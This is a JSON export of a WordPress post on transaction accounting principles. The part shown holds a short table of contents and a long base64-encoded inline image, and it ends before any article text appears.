{"id":6684,"date":"2019-09-13T09:07:18","date_gmt":"2019-09-13T09:07:18","guid":{"rendered":"https:\/\/marc-market.ch\/?p=6684"},"modified":"2022-08-12T11:32:19","modified_gmt":"2022-08-12T11:32:19","slug":"transaction-accounting-principles-definition-108","status":"publish","type":"post","link":"https:\/\/marc-market.ch\/index.php\/2019\/09\/13\/transaction-accounting-principles-definition-108\/","title":{"rendered":"Transaction Accounting Principles Definition: 108 Samples"},"content":{"rendered":"<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\">\n<p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Content<\/p>\n<ul class=\"toc_list\">\n<li><a href=\"#toc-0\">Real Accounts<\/a><\/li>\n<li><a href=\"#toc-1\">Transaction Analysis<\/a><\/li>\n<li><a href=\"#toc-2\">Double-entry Bookkeeping of Accounting Transactions<\/a><\/li>\n<li><a href=\"#toc-3\">Change your country or region.<\/a><\/li>\n<li><a href=\"#toc-5\">Accrual-basis transactions<\/a><\/li>\n<\/ul>\n<\/div>\n<p><img decoding=\"async\" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' 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FORtPIdfXC+n5lK6PNoSvOZdaR5\/JMaM0u93NyZi4pNxIwGyZdG4DlnJ2f630iLxRWGpSbXVZxpW5shLacRDYmxxILCALjZf8AMFlCplmiLJHXsCdaSyMgEHvz8xii\/fRVCt3lY60j\/CKLwckKGR1g8uXLJ+YEn5o69tJtuXM7aTzbeSoI+yc6kuNSNraTU+bOJlblaqHlYykHZLp\/6zhPnEMroDwR3lr5p87fsldlPokuqbelpduZl3HC+G0pysFHJKN5UnJ+CTCH4mtQJzWbXy5bhp7anpZU7+S6U2gEkstK6NvYBzJWpKlYHa4YdO6eHLjG0r0xn6kbuXLWtRZVbz8jTa+r81L7srAbGM4K+caq+R0875iLtWyxMbTwMiBs5Rzep9wWhfk1bduVR16qUurOSLExTnjh95t7YhTZHMgqAI9MdBOO3Uqu2jw50Kx6q8U3HdqJWVqxBwpSGm0OvE\/6zgaB9J88R74AK7ZLWtclRK9Y0vUqvPIdVTqw+8tS5FxDalkpa94SdqvLPMZjE9kE1JXfmvUxb8u6fArRl0UppKepT3Nx5XpClhHoQIqw8lSukDvtbFWQctVMYR9nWSnF9jJ00eql03JqnNpUG6WyilSKuwvvHe6f+i2kD\/eCF97JhqW5S7GoGmMq8lD1cnTP1AjrEvLnagegrUD6WxD0cHNgHTzh8tWnvyyEz9WlhWpvaRuUqZ\/OJHpS3tGOyOeHGXqQ7qzxAVtdOdcmKdR1poVPCBu6RDCtilJA697u8j0iMuZzqaibFvcsGFgqq0y7mqQXsbVjtUO3b01sryUtyzbZpsstefJZZAemnPRgtpHnSod8MVqbrzd3E\/qlJUGvXu1alozVQErKtvPFqTk5cqx07+COkWU5UpSj1qIHKOhOk1pWno\/oZbuml+Vmk0t6apK01FmcnW2StcwkqfAJIyN7jic9mDEJr84AbydE5cWiN20K9aEH1hlhmcSiZGOYb3fzS1AHr3js5c48Twzsp2sbrttCyIpYXzPkfqvsKt6wcC1ftejUKuaOVud1DlajvE05JMN7ZfCUlKwtK1J2qztGTnIiVXAnaWsNjacVi2dV6ZPUxErPpXSmZ91Ky2yWgXAnBO1IUM4PVzjm9Sbo1V0Mu5+RpFZrNr1mmTCm5uXQ+pva4k8wtHUQQByIORjn1R0i1c14rMjwTtal1FLVPuC6KDLyyEtJKAmZnGkpW4gdnkFa092R3R4oHxt0pNhaFWsa9wbENYcVz11uu6pa36\/V+t0lJmDW6uJOmtg\/6FJSwwB6UpR9MT34oqlKcOvCAzp5Q5tszU3IytrsvA4LvkYmHf8AppS4T3bhESeAjTV2\/tepGszTW+nWmyurvbhlK3U4Qwg5\/prCvQgwsvZJNTBcWqdI08kJj\/ILXlDMOJT1GcmPKOR5kJa+se+KMkMMT5Xfj2L1I1sszIR+DWVGPTK953TvUG375lAouUWoMTikg+\/QlY3J596dw+eOlfHLq3K0DhtzbVR3Kv0syco9nrlVgPOLT5lNhCf95EBtYtCqtpFZOnV2zqXSq8qQ5OTCVjk07v3oRjs\/MuMnB7cxpNQNZa9qJZliWRUUrTKWTTHJFolZV0qlPKVv82G+iQB\/RPfFiCsfSxujO0hX5oG1UjZG7AVJ32M3TR6qXdcWqs2khiisN0uRJHLwl9QUtQ79raMf7wQwnErfU3rJxCXFUaa507b1RTSaYlKuSmmyGmwOzCiM\/PE0LMbf4YOBB6tKWuTuCp0xU+haU7VJnJ44l+R\/SQhTR9LZiCWiGid+a5Xa7QLAMq3OyUuqoOzE28tlphCVpSCVpSohRUpOOX8IvzsMUUdONZ2kLHhe2SaWbdsCkTL+xh6rvS7D5vy3GumaDpQ4mY8kkDA5IwTzI5d0O1wx8CFb0e1SltQL3u2jVNmmS7vgcvJpe8mZWAnpFhQSCEtrc5fCKe6GoPBFxjkeXqdIkDJJ8aJwhIHV\/o+UTP0jt2U0T0mt21NRrwp71RS0tdQmp6qDDswtZW6lDjpBWkbtvLsxGTTUocdIsLbb7rGqahwbZrw6+4Bc8OJDikvDXm\/XLbplyuUWym57waRb3lppaCvb4VMKHNRPvufJI6u2FVqZwGv02wKdeOi98L1JfmJhDE0zTmm1IQ2pKyp5C0OKG1KkpThWMhYMZ2onAFVa3P1G4eHy97euqkiYO2RTOoD8uVcw2HRltYA+EUnq9MRxmkasaB3i\/T5iarln3DT1pU6yzMKaWCobknKThQKTkHmDGDLpxEunaSCdRUhFGHhrYXAEAalPbgHsbW7TaWumg6mUOoUehONMzEgzPOpKWndyg4UJCiUZG3IPmiMHEnxRXbrlf8xa9IuV2hWUzPGUkpcvLZaUCrb4RMlPNZ5lXaEjqGcxP7QLVvx10LtO99UqzTJCdq8q43NPTj7csmYLTimi4NxGSpKQSB\/fEPdR+AOrXHVKlc+gF725ctKXMuuGR\/KDaX5ZZwoNBxOUKGFDkopIGOvrjOqY3mFjKfWNtlg0zmume6YWOzwLU6n8CE9RrBpd3aK3mvUx6afTLzrNKbbW00goWrp0rQ4oBAKEjCufliH54A7D1z05YuigamUSqUugzCZZ+msTjqVIQ\/vWl3YkKJT5JSSPMmIETCtUdBb4mqS9OVa1bipbqS82zMFtaCUpWkkpJSsFKwRkqBBjrDwxahXFqjojbV43W22KnNMuNPuoGA90bimwvHZuCQcd5PfFqha2abZYt3L1X6cUOi4gg70r9QCTRGSo5PhQz9VUN9Dg6gf5kY\/9pT\/ZVDfRwf6SzfMcpP5Wexd8+i8Wy7F\/meiCCCNC3roRNtZTPcRsrupNNeGMJTPKBPVkMbh\/YP0Q4NHcFSk5acCekdnJJLM6gdZdShOFEf6uU\/MISOvUs5M27TShAUXJlbISf6Us6gj5yoQpLfmky1qyFXmFJS2aa0t9BOC6pKRhRPeOrl2YjpeHQCXDIHdHvXI8Y0ji9Qxv4iFccptt0hLzCHC03UHENoadPJB7Ej+Pphy7Iu2ryiWqRU5l2dkpp19LmxjatK2AksLUe0bUnpO9ZChDGSKZ+sPP1eoNodS+2tyUUtW0NKBRt2juxnB7YdCQrBkEzMkac4p2Zay1MBzyWwrAdyO0kAAd3OJaPk6qYveNixcbomxBmhr2Kw5MuTj7s28rc4+svrV3qV\/hgRTrISOZJwAOsnzRdaaemlty8uyVrJKW0IHNXcIdqxdMlSXQVWqSgcqBTlttfvWM9\/eYkqelfUusNiwoiGtDjsWm0\/08XNVKTqVcSlSG0rcblV9+ORPmh+G0SVNlG5hO5bywAB2IPYkQjqel1isloDctKFJJHfmFZKSKSkPuqUVHltJ6olKqemwyn0TtKi6yPlKgPGxW2mXjM+Guny1c+XdF59YUrmeZMXVnYQOvlGM55Ss+eNEqag1LySslosNSwqwyZilzcuBnpWHEY78pMRVS4pA2tjckE4PfEtHBubUnGSRgRFFxKJRxcsv3zSik\/MYysOIsV6S8p2ordMRgyEwT3bkxupfWakpH5ylTZUn4LyBDU9ue2KEA9YjUW5xxVotpjgumOyHgrjcMPFPInXClhOPyHPK8\/ToiwrVqnVZ9FORIPIXMqDSVrcSQCTgdQhoxy5CM6hqSmtyClkYE00ST\/rCEGZ8UqJ2RudcEjd\/3BWa3KGEUtJK9jSCGlOy2CnkezKfoODDdcRF4VaxNHbor9Ap0xP1VciuSp7Eqyp17wh7DSV7U8ylPSbz\/AKsOKhQBIKuYAB9OOf74CohW5JIPeI+q5NKRpsQCV8tX5OW4tYE9PT4AuJ1s2jrNadz067KRp1cJqFKm252WL1EfdQHkK3IUUlGDhXPn2w8d6ao8bWt9CXYdbta6HqdNkB6VkbdclkujOdrhSjmnIHIkDlzjqf0iD1qEBcyMJX6cGIkYSGgt5TUfD8lJnFXO16Av5fhUPOCjg\/rGkk5ManaktJYr70uZWQpu5KzJtOYK1OkdTigNoSOoFWeuIy8YnD\/qPaGr9y3X4uz1QodcnV1GVqMvLrcaAcBWpDigMIUk5GD1jGI6s7U\/BH0R63kA+WRnr590X5MOgdEIr7PGfYrEeJTskMhsePwrkdQeJniurdoS2kdtVyuPSaJVNPabkaepybMuE7EtBaE79oSdvLniH84RuCC5ZC5adqfrPTzJqp7rcxS6M5hbzkwPKQ4\/z8gJxnYryiQCfPPNKkpyUkDPXiPYcSUlKlZB6we2LVPhjWOD3vBt4wr02KOewsjaG38fwqDnsi+jF93rULe1ItCiT9XptMpy5CfYlGy65LEvKWhwoTzKVdLgqHVgZ5RHvRDil1w0Qtp7T2zrTk5xL807My7c3THlzDD7gSFdGEqGT5A5FJ6vTHWbOVhWeokg+nr\/AICLgWAoqCsKPWe0xcmw5r5eUjfby\/JW4sQLIuTe0Hj8K5n6ScI+s2v+oB1J1up87QqRPznhs87Os9DNT\/PJbaaIHRpwQNxACRjkYXXsiirvrE3aOk1k2bVnqJRpQTzvgUg6tneR0TLY2pwA2hJ5Z5dJ5onkrGSR+l1+eKHmMHqivNzOSMenrO+\/yQYlIJRIGiw3a\/hUTvY\/dMahpnpHXL6uuizklO1qbW+WH5daXkycvlKctlO7JcLnLtTiIfymm+qHEHxBpqFesyvUxm7bg8JmXpiQeS1JSinCpQ3KTjCGglI79ojriolatyzuPeeZj0VrPWtRz54Pw9rmMYHCzf56FRmIyte99hd3j+FR941NJ29QeHmoU+iUla6ja5ZqFOaYaLjhDeW1tJAGTlsnkB+inujnboxw+6g3lqnbFuVSy65JSE1UWjOPzlOeYaRLoO90lSkgA7Eqx3nEdlQoJRtSceYd8CVqzzUcY74VGHMqJA9zhq\/noVIMQlp4ixu0+P4VB\/2ReevKuSFp6X2ZatZn6bL9JVJ9UjIvPIKgejZbKkJIGMPKCe4pMRY0qrvE3oq\/PTmnVoV+nvVJCG5lxdtLeUtKCVJGVtHABOfmEdhlKxgJUQMAYHmim5Xwj9MeZcNbJMZQ+3l+S9w4k6KPQLQePwrmdbnEVx5V+4KbQm0ViXcqM2zKodftZDTbalrCQpSyzhKQTzJ6hmHw9kC0Zv2\/bMtOt2lTpyuuWsHkVJiXZ3PrQ4G8PJaQOeSlRIHVnq5RMHevBG84IwRnrEUSShW5Jwe8cjHoUAMZjfJe\/h+S8urvrh7GAW8fwrkdoZxHa28OUlUrQta1pZ9qoTQfclKnT3t7cwEhJIwUK6kgFJ5coXdo8NnEDxV6jr1L1blJihU6ffQZ2fn5dUutTKEgBqXYV5WAkbUnATz6zHTlG1JKxgKIwSOsx5BysLXzPeeuLceGaNg+S4G6\/wAlcdiRNy1gDjv1\/CoacdfD7cFS0psuV0qt2ZnabZCHJVyQlx0jqWFNoSHNqeayC3lRA61kxFjQziQ1j4dpWp2na1rSkymoTQmlStSpzvSMzAATuRtKVcwE5B7hHXNR8vpEnyu\/tjxhO\/fgbsYz24j1Ph4e\/Tjk0d2q68RYi5sXJyNDuPwrmLaPDTxAcVmpDuoeqcnMUOn1GYSqen52XMspTSEhAblmTzICUhKeQSO8x0qtS1aJZdtUy07fkm5Sn0qVblWGEdaEpGOfeTzJPfmNjnJyT2Yj0ggZJPXzjIpKVlPrDrnw\/wDxWamrfUANsAB4\/hSa1CGKKyB\/+JT\/AGVQ3sOFqF\/mRk9nhSRn\/oq\/xhvY+cvpKFsxSAnWWt9S+kfowJdl5hA1B7vWUQQQRoW9dCcLhJjUSUl5mkMTUwklmSnpV88\/ejpkJUT5gkqjAbdk27Qon5Q2eBKKA4FHltS2tQV5xkJ+mFFcNLYrdInKPM7uim2VNK2nBwR2R5NDp5pcrRXpRD8pJoQ2yFnmlKOQ9OY6rgtjhkTfB7VybFzyOMySeH2JKW1b1QrE6qt1N1bbalbmmSMJICshOOwdUOFJSM\/UH\/AZWXU5MOkFKUnISPOe6Mih0icuGbRS5FsoccWNq9vkoSO\/0Q99n2JJUGVCZYdK6o7XZhY8o94HmjaMIwh1R9b8O8rVMx5kbTODQbu3DoWjsCx5OiT8tMzqw\/UEBSiR7xs46k9\/phwfC30NBhhCnH31EZHWPOY1NPk1uVxMvLAnGQkp6hC7plMapySpKAX1DClKGcGJbF6qDCrQtGu3T61G5fr5ayhMk+3SK1VGt5NNInZtzpJheR19We+NsoDGY9ubgoYwVA9fZmNFUq6qUqJl22yW2hsV5yeeY0S0+JzkA3FlnzyhliVnunK4x1cswNT8pOIzLnarqKSeeYooHCh2jriOlhfAdF4V5krCAAVRpSy6jGOSk\/xERZuCUArtQSAQEzTqR6AoiJRZAGSrb54jRfDPR3fV0glI8LcIA7icxk0LtDSV1ayA4SkrUpIA7CeZ9EEb2xqZI1e66fIVFrpZd5akrQSQD5Cj2ecCOYAXNgu71Ewp4jK7YFoilaeRRjt5kD+Jj3LvvSr7cw0MLbUFJIWnrHzxI46RaekblUc5I7JhwD+1B7T+nvxOr9pc+9GacMqgbNNj47eFaw7NlG4Fr2Eg6rWCYdF5XOnmJ5aSck4Wjnzj146XT8Yu\/XRD6+09p8eqjK\/aXPvQe0\/p4OujK\/aXPvRKcvjlyeyXa+iR49QICiOzcvHZRt8xqYc3jdOf85OfXRFU3ldI\/wDSTv10Q\/HtP6e9lHV+0ufeg9p7T4e+oyv2lz70OXxzrL\/Sv+JOzsunZRt9G33JifHS6fjF366Iobzugj\/OLv10Q+3tP6d\/Ex\/aXPvRX2n9PfidX7S596HL46NlU\/0r\/iQV2Xhto2+jb7kwvjjdXxk59dEV8cbq+Mnfroh+faf087aOr9pc+9FPaf07+Jj+0ufehy+OnbVP9K\/4k7Ny8dlG30bfcmKF53SBj8ou\/XRB46XT8Yu\/XRD6+0\/p38TH9pc+9B7T+nfxMf2lz70OXxzrL\/Sv+JOzMv8AU2+jb7kxXjpdPxi79dEHjpdPxi79dEPr7T+nfxMf2lz70HtP6d\/Ex\/aXPvRTl8c6y\/0r\/iTszL\/U2+jb7kxXjpdPxi79dEHjpdPxi79dEPr7T+nfxMf2lz70HtP6d\/Ex\/aXPvQ5fHOsv9K\/4k7My\/wBTb6NvuTFeOl0\/GLv10QeOl0\/GLv10Q+vtP6d\/Ex\/aXPvQe0\/p38TH9pc+9Dl8c6y\/0r\/iTszL\/U2+jb7kxXjpdPxi79dEHjpdPxi79dEPr7T+nfxMf2lz70HtP6d\/Ex\/aXPvQ5fHOsv8ASv8AiTszL\/U2+jb7kxXjpdPxi79dEHjpdPxi79dEPr7T+nfxMf2lz70HtP6d\/Ex\/aXPvQ5fHOsv9K\/4k7My\/1Nvo2+5MV46XT8Yu\/XRB46XT8Yu\/XRD6+0\/p38TH9pc+9Ffaf087KOr9pc+9Dl8c6y\/0r\/iTs3L2+jb6NvuTEeOt0\/GLv10QeOl0fGLv10Q+\/tP6e\/E6v2lz70HtP6e\/E6v2lz70V5fHd1U\/0r\/iTs\/LnU2+jb7kxPjpdHxi79dEHjpdPxi79dEPt7T+nvbR1ftLn3op7T+nfxMf2lz70OXx3fVP9K\/4k7Ny8dlG30bfco+1Gu1mqo6KoTi32wrcEKUnAP0xgeV8H\/rJ\/wAYkl7T+nvxOr9pc+9B7T+nvxOr9pc+9GBLRV1Q4vmcHOO8uJPE61IwZmw2laI4Ii1o3AADgFG3yvg\/9ZP+MVwr4I+sn\/GJI+0\/p78Tq\/aXPvRT2oNPhn\/gY+b\/AChz70eG4ZPf61reAq8c30hGppUaXCAdyiNveDmN9Z1j1W+agmVkGVCXbI6eYPvG893YpX8IULFh0+uaszFnSyDJygcIGwZOxKN5xnt6okdRbfodsSDNOkZVtqVZG5IAwontUrzkxvOFucyijj3ge1aHj1cJa6R7RYOsfUkPS7RpdoyzFNk5QDb+cWtfv3lAY3KPZ6BGykG6lOBUhJYQh1YK3ce978RtVyT9aqSijKGkk\/nD1YPZG5S1L0tgMSwGB2ntjZYc0x4FhMjHn65ctBrsINfiTJ3agBxWPTqPKUaVLUu0lTrnv3le+MZC14AKuwYi6pYcZSrtzFh33sa32U6t\/iXG5cpuCEU0YiYLNCsE5VnvMIysYVU5lXUNwELJfkkY80ImrKKpp5R6y4rPzchExgd2SvkG4LHrxpR614l0DO5LhSrPZGczPLSoIXk88Ewn3p5yVBKSM+eLspXpSZT0Ti0tuY2knq3Rsbm01a3RlFvCo2KR0J+qUpg6075O4dY\/jEeNREFq9KqgtqP50K5edCT\/AHw+KStl1taFBSVDkoKzk9f90NlfNGXM3TOzC0c3A0o\/ZJjW6zDnYe4cmbgqco6sVII3hN7Co0xx480oHH84r+yYS8KfTIf+XNKP\/OK\/smORRfbC7\/X\/ANlk8R\/ZSWyCpIzyxELuPnWriPsWuWxaHD5SLkS6qWen6vP02kGcbWVKCGWQooUnI2OKOPhoiZe8ZHI9UaW9Lpp9j2hWr0rDpZlaHJP1OacWeaWWUFasdfMBPIdZOAI3XD6kQVDH6AedQsfCuO1URkj1OLdW5cbqnx3cZ9EqL9GrGptVkZ+VcLL0s\/SpZt1twdaVJLWQfMYXNG4gvZJa1U5Gmtz16tiemGmUurthsIQVqACieg6gOfohseHm3Z\/iO4uKK7VmVvJr1cer1TzlexhpaphzJ8+zbk4zuA7RHbeeqMtSqfM1KbWGZWUYXMO5yEoQhJUcgkjkAQOzl2RuOMVkGGvZG2Bpc7coSiilqg55kdYLnjx5cXesOjWoFv6Xaa367KTdJoTDtbm0SrK1zU24eW4KSQkhCQcAfpZ7Ybyo6q+yhUywBqjPztcFsKp4qZn0ylPUEyqk7g6psDelO3nkp6ucRpvmr3pxH65XBcFDo07Xq1c9UmJiUkJRpS3VtgKLbaUjnhLSAOXYiHRv7jP4iNUqI5oXWqlRbXpk2tFHnJeXlBIgpQoI6B91ZJQhOAFDkMDnyiRGHiBkbI2MJ2uLttvIsE1LpHOOmfApBcCfG7rrqZrLJ6Xam1Vm5abU5SZeS\/4E1LzEktlveF7mgkKSdu0hWeuJ3ax6t2tojp5VtRLtfS3KUtv82wThc2+QejaQT1blDbEeOCjgxkOHCRnb9u+qSVQvCoSLrRflHN0rT5QncoNKVjeohIKnMADbgZScxDzi618qfFzrtTNLLLqUvJ2jTp8SFNemZgMsPuE4dn3VqO0JCQoJJ5BseeNdmo6fGMTIp2hsLbFxHSFJxzS0NMGy\/bOxJSu+yGcVlSrM5VZPUV2kyk4+4\/LyTUkwpthvJ2toKkFRAxtyTnlHX\/SmvTly6XWhclVmi\/OVahyU7MOqASVuOMIUs4AAHlK\/fHHPjgtHTnT69rMsPTKsyFVpNDtCUlnJ2UmG3vCZlT8wt15woJAWsq3EdgKR1AR0\/wBNNR5SwuDW19R6ntLNGsKRqBSvGHFtyiChB5\/pLCR9EZWYaeN1NEKdmiXOAXjDHyNkfpm+9Qv40eOTWmzeICvWbpVfjtHotvhqnuMMyzLnSTSAS6tRWgkHcopxnqQImJwP68VDXHQGQuu9Kq0\/XKPMvyFamikISpSVlxDqgnGMtKbz1DKVRyR080xvjiLuG969T3jN1Sl0mpXVUXFpJMwpH5xSB\/TWSvEb\/Q\/iNrGj2luqem8kt4tXzRm2JVTWSWJvcltas58kGXdmMkfpJT6RI1uCwT0rYIBZzSLrGjrnxymV2wqQGnnGHxM658UUjY1j6hTElbdbuFaZeVak5chmloWpalErQVcmUqUecSB42ePKY0Dqx0u0xkWpy8HJZD05PziUuM05LgBQlKOpx4o8rmNqdw5E8oZb2JbS4z9y3dq9OyZ6GlSyKLIu4z+eeUFvFI70oSgf7wDqMe+N3gd1hvPVyuawaX08XPI3AUTcxJMOpE3KuJQG1p2KwFoOxJGDkZKcRhyxYecSEMgAYwDVuLvCVcbJUClMjL\/WPqSZ1Tuv2SfT2wZLWW+L7qVPos+6yAiWmJQOMh7m2XZdsYSFYAAweZTnriTfsefEtqnrvQ7pt\/VRoTk7bKpV2WqplRLrm23ukBQsJASSjo85AGQoAjlkwAoHEhxV8PlVFr1a7rhY8BLYft+5m1zbISMhI6KY5pTggjYQOrBjqhoxr9b12cNchr5eMrI2xJiQcfqQZwlpoy6lIWWwcEhZ96nrysDmTk+cbhMFNZ0TDpGzSzaL7Lq5QEufcvLbbQqcYHErSOGrSyarTT0u\/c9X3ylAk1DJ6fbkvLGeaGwcnsJ2jtjmxY3HtxVz99W\/TqtqfMOSc3U5Vh9ldPlkhbS3U7hkIBxtJwcx6duWb47eKZievq5pG3LQYdKlCbnW5ZmQpLSh+bSXCAXlhXM9ZUonqGYRnEPM25K8V9WZs8SKKLTK\/Jy1PTT1IXLpZYDSEBtaeSkhKQMg88Z7TGVheGQ0UJp5m6UhGk4+xWaitkleCx2oHiu4c7UpGlST9Sqc6zJyUslb70xMKCUNsJBUpS1HkABzzHNjXn2S3US67qXp9wxUMttqeMq1V\/AjNz08sHAMuycpQk8sZSpRBzDq+ygayzVkaJ0XTmjvrbqV7vFL7iFYxIsJQp1B7TvcWyMdyVegof2J3R6SRb1y63VGnIdnXpw0WkvuNhSmGkIQqYcRnqKlOIRkEHCVfPB4fRwUVC7EqhodYmwPjWbUSyyztpo3W6SFH69eI\/2QPR2pSM9qTdN3W+7UR0smip09oMPhJGQEKQUEjllPWM8xEy7W4uL51N4KK1qvbVFmV6hSCl0IStKk1PhU9lATMobCVEJ6J0LIJIBSYkFeUpopf1xyWnuoUvaNdrNM21SWodXcbedRkbUvJYcOSMDG7B9ELSj0mjW9K\/k2gUyVpco371Em0hhtICQOSEAAcsdXXiLVXjFJPExxpgHXv0K5BRzNe4Nl0hvXHS6eMjjwsxTKruu+5aImcKzL\/lCgssdKE43bd7IzjIzjvjIt3i29kBuuTRVrXuK66tJF1TQmZO3mXmi4nGU7kskZGRkeeMv2SvUya1F4kn7QlZxbsnZ0o3RmmArI8KJ6V8kc\/KKlhHX\/AKER0x4YNM2dGdCLOsJhBRNS1OamZ9aSQpc4+eme7AeS1lIz2JETtbWUtDSRzPhbpvtYeDpUfTwvqZ3QiQ2CjBVeIXXvRzggmtS9U7mqI1GuyreA0BE7JNNOU9reAVFoNjJ2NPK8oHmtEZHscusHETr1X7ouHUi\/36nbdClWpJhhcq02Hp95QUlW5KR7xDasj\/nB3wzfsruq6Lg1PoOk0g+CzbEqqdqO1eUmbmQkgHzpaCT\/AL30wv5RdV4TfY2kz8stynXPfqgd6BtdYVPg4Uk8iFplGvSCfNFh9MyTDxZgbJO4DxfyArwll7JvpfVYFueKX2SqYtS4J3TPh8p0pU6rJuKk5utzLKnmkvhWC3LNj+dUDy3nl2AGI33trx7IvZlKlb7vas31Q6VMuBLU3MUhDEsVKwUpUnowlJORgKAz2ZhW+xZaQ0q9tS61qfccmmfbsxhtumMuK5Jn3yva6UnIUUIDhGeor3daREpPZM76plrcM8\/bE24kz13VGXkpRoqBUsMupfddSOeNuwAnnjfjPOPYNHh1W3DoYg52q5PSvDI5Z6c1EkhHRZaj2P3jHu\/X5ysae6muy81cFIkvylL1BiXDRmZbpAhYcSnyd6SpGCkAFKu8EwzXHJxu6wWJrxULC0jvg0ml2\/Jy8tNdDLsu9NNqSXHFZWg4wFpTj+jGt9jAoUvYVN1P4i7jC2qPQKMqnNO8hvIKZp3AOASEstDr\/TA7YjHaFj31xV6s3VUpVSVVadlKrc84SkqAWlC3UtJHcpxSG09wPmi\/TYfSjEp5iBybANW7SdtVt1TUdjNZfWbeNdT+ATXu4te9EV1G9a2KnctDqTshUJooQ2XQtXSsrUlCUhI2K2Zx\/o898Q+b4zOI3VzimTp7pjqTNSFuVy5hT6cyzJS7gakg4UqXktlX82lSyc8uvqEMHw78RNY0Kt7U235V19Cb1ttdNl+jBJZnwra06DnySlp2Ywe8p7of\/wBif0sbr2plx6qTsulxm15EScmtQyETMzuBI84bQ56Nw74pLhkWHdkVjxdrh9UeRVinfMIod4OtTkpk45LcREgEuKUVz7rJ59YMoon96REin5V2oKDa3NiEde49ndEdKVTG6hxDSqXHi34POGYGeRUsSykgfOFxIeen+jT0DZHkkp3d5\/8AGfojRpcWiw+gjlk\/EDYeUqXxcEVRB6B+yt1KoytKkl9ElDbTSFOvFWB5Kes+iENcF9U9yUZk5OcUmdqZSGU5x0KFHBWv4PLJHmGYx67eclcCqrZ9CnWZifNPmDvHNsBSCkcxz9+U9kYFoWOzJTD1Vq5MzPCYdRuWepGSpKcduN6wD2AARoVdiHZo5er1W+yPBuWC3XsTosqzJMgDlzwe35\/pi2772LUhjwVsJUSBu3Z7yeyLrvvY6Hhj+Wo4xuR31dqSN71mqyb9Dp1DYU67O1eWZmV4\/m5UKK3V+ghIR8\/njWVtRC1qQfKLrhSew84w5e8adWNYZ6z0OK8KokkzMKbVjkh3PPr6wQPrp8+LlfcPQI2A7nd60ebJB5\/TGwYBI90k4cNQFgsXFoDCxn\/cAfIUn5qdLhPSJ2qHI55Z84jVTJSMqVyB55xGTPEgp3A524J7z5oSFbqlSps7ObFOOtpbl1+DugBvaSEq6MjmXB3HAyRzicvc3CiQ03SuteszxqSZJx1TjK9wSCnmnAzn90LCdt9moTKptxYCnAnIPZgAf3Q3Onk81V642WchaW3OkbV75o7cYVjl3\/QYd5RZB59vOIvHJnchH4ypCjaQXWUYYU2miiL4pWP\/AFqv7JhMwptNQTfFK5HHSn+yY45cjWF9EV5ApZL9BUjUnOD5oir7I\/dNwSXD8bOtWl1CcqF3zzMqWpOVeeUiWZPSOk9GlQAJSgYJ57olKFjKQFdmRzj1u553c+XPPd1fRGx4fXR00zJ5G6QGuy5FU05ni0AbErnz7FTozVrf8ctUrkoc9TJ15LdCkkzcuWlhvKXnSkLG7rDHPAHk4584kLx23tcdp8Odfpto0qpTlXulQobSZKXW8UsvA9OSEZUAW0rGcdaokCVk8yvzdcG\/HMK6+XX\/AOO8xnT452TiQr5BqB2eBWoaLkqcwA+Wy5n+xcaD1yV1FuDVW8bfqNNTQ5RNPp6ZyVLKlTL5ytxIc2nyW0EZA\/0uIZLjS0fvOm8Tt9P0Oza5OU6o1JFSZclKc843h9pDqgFJTtyCspOO0GOzZ2kgnBI5Dzf+MCPW7rG7rOTz7e+JOLNzoq59ZoA6TdG3QsQ4OwwNi3jfZc0tbuJTUyqcJ2nuj1kWtc6q9VbeYk7qnUU2Z6SXaYzLlgq2Z3uhoLUc+9IHbCc0Y9jBuPULTamXte18LtSoVjL0vSlU0uOoYz5Bc3LTtWoblbe7HaY6oKcKjlS8nnzJ82P4R5AQFFYCQo8ye0xbOajBAYqFgYSbk7V7GEte\/SmJI3LiFxG8J92aJalO2Jb0pXrslW5KXnDPS9JdCcuJyUDbuHk8gecSp4kLovSn8A+kul9v2pWnqlcVMkWaihmRfU4xKybSQtCwlPklbvRcj1hKo6KhQAwFYGc9fbHpDqmyS24UkkE4OOYOR++L0ubzO2ISxglhv414ZhAj09B21Qn9jH0Ods3Si5b8uekzEtU7unfAm5eaZLbiJBgFJO1QSR0i1uggnBCU9XPMBtdOHe\/dO9XLvs+nWdWp6RptTeElMy8i66hyWcPSMnchJSSW1DODyOR5o7oFWetX74r0qgAA4cJ5jn1Rbps2ywVk1WRflN3QvcuFNfE2MbR4FC2l8Pd60b2OhendjtzMjeNTp7VfeYZX0MxMPrfbmFtAg5DhYQhvBwTtA9MMtAte9a+GC\/qrV52wKtcDlSlRITUnWUTLSgUrylSVEEghXWMEdY5R2d3DmN3XkHn1564FkOcnCFf63OLdPmZjWyR1EYe15vr2jyry7CnBzHRPLS0WXJqr6ccTfsgWscneVyafv2vRGpdqnmddllMStPkkFStqC8UrmHFKWrq6yr9FIyNjxgXBdSqPb\/ClovZ1xTNi2OwzJTM61T31GrzyBhSitKAhSQ5uVuACVOKUR5ITHVQkHOSDk7jntPfHpTqloLa3CpJOSknIJi+3NrWyNPJDQbsHQdxQYQGgnSNztK5tWz7ErN1GgU6fr+rZptSmJVp6bk0UvpfBnVJBW0FdIAraokZ7cREm+tCb6011aq1rU+369W5O3qz4M3PNUp\/ZMIbX78bUqABA+FHdklJBBIIPX549dKryfzh8n3vPq5Y5fNFabOlSyRzpwHA31KkmCxOaAzVZQY9kp0DvvVWx7Lv2xKPOVeYtdt6VnadLt7phTD6G1B1tAJKtpaUFADI3J5REvQzip4muHu0prSuy7VYmZKYnFzTDVUocw8\/LPLSEqLQSpAwSAcLSrmOrsjs0F4OQrGFbuvtznPpzzigVjqVjs64s0uaWx03Y08LXgG48Gu69S4UXymWN5bdcveHbhA1q4hNUhrTxGPVinU3wtE9NGeyzPVVSTkNttjCmmcDG7CRjkkdsdKLwueVsey6zcyZCYnWaLTXZpuVl0b1TKm0kttJHviTgAYHZzzG52t7Ojwnb3dkHk5zu59+YjsRxt2J1DZZwNFp1NGzyrKp8PbTxuaHEk7yuNHDXovqDrXxRUKq6i23V2pZ+rOXJWpubkXWkOpaV0ykEugA9I5sRjOcLPdHZabnmZGVmJ6YwGmGlOrKU5ISkFRwM8zjlj0R6UoKxuVuxgDJzjHVAFAdSsfPHvFscGLSxue2zGC1l5pKAUzCDrJ3riwbC1I4lOKYVeq2PXpaUvG5g8tU1T320syBdKvKUpOBsYSB190dEuPPQ+4dYOH9NvWBIuTVQtudYqUtTmEjdMtttrbWhAz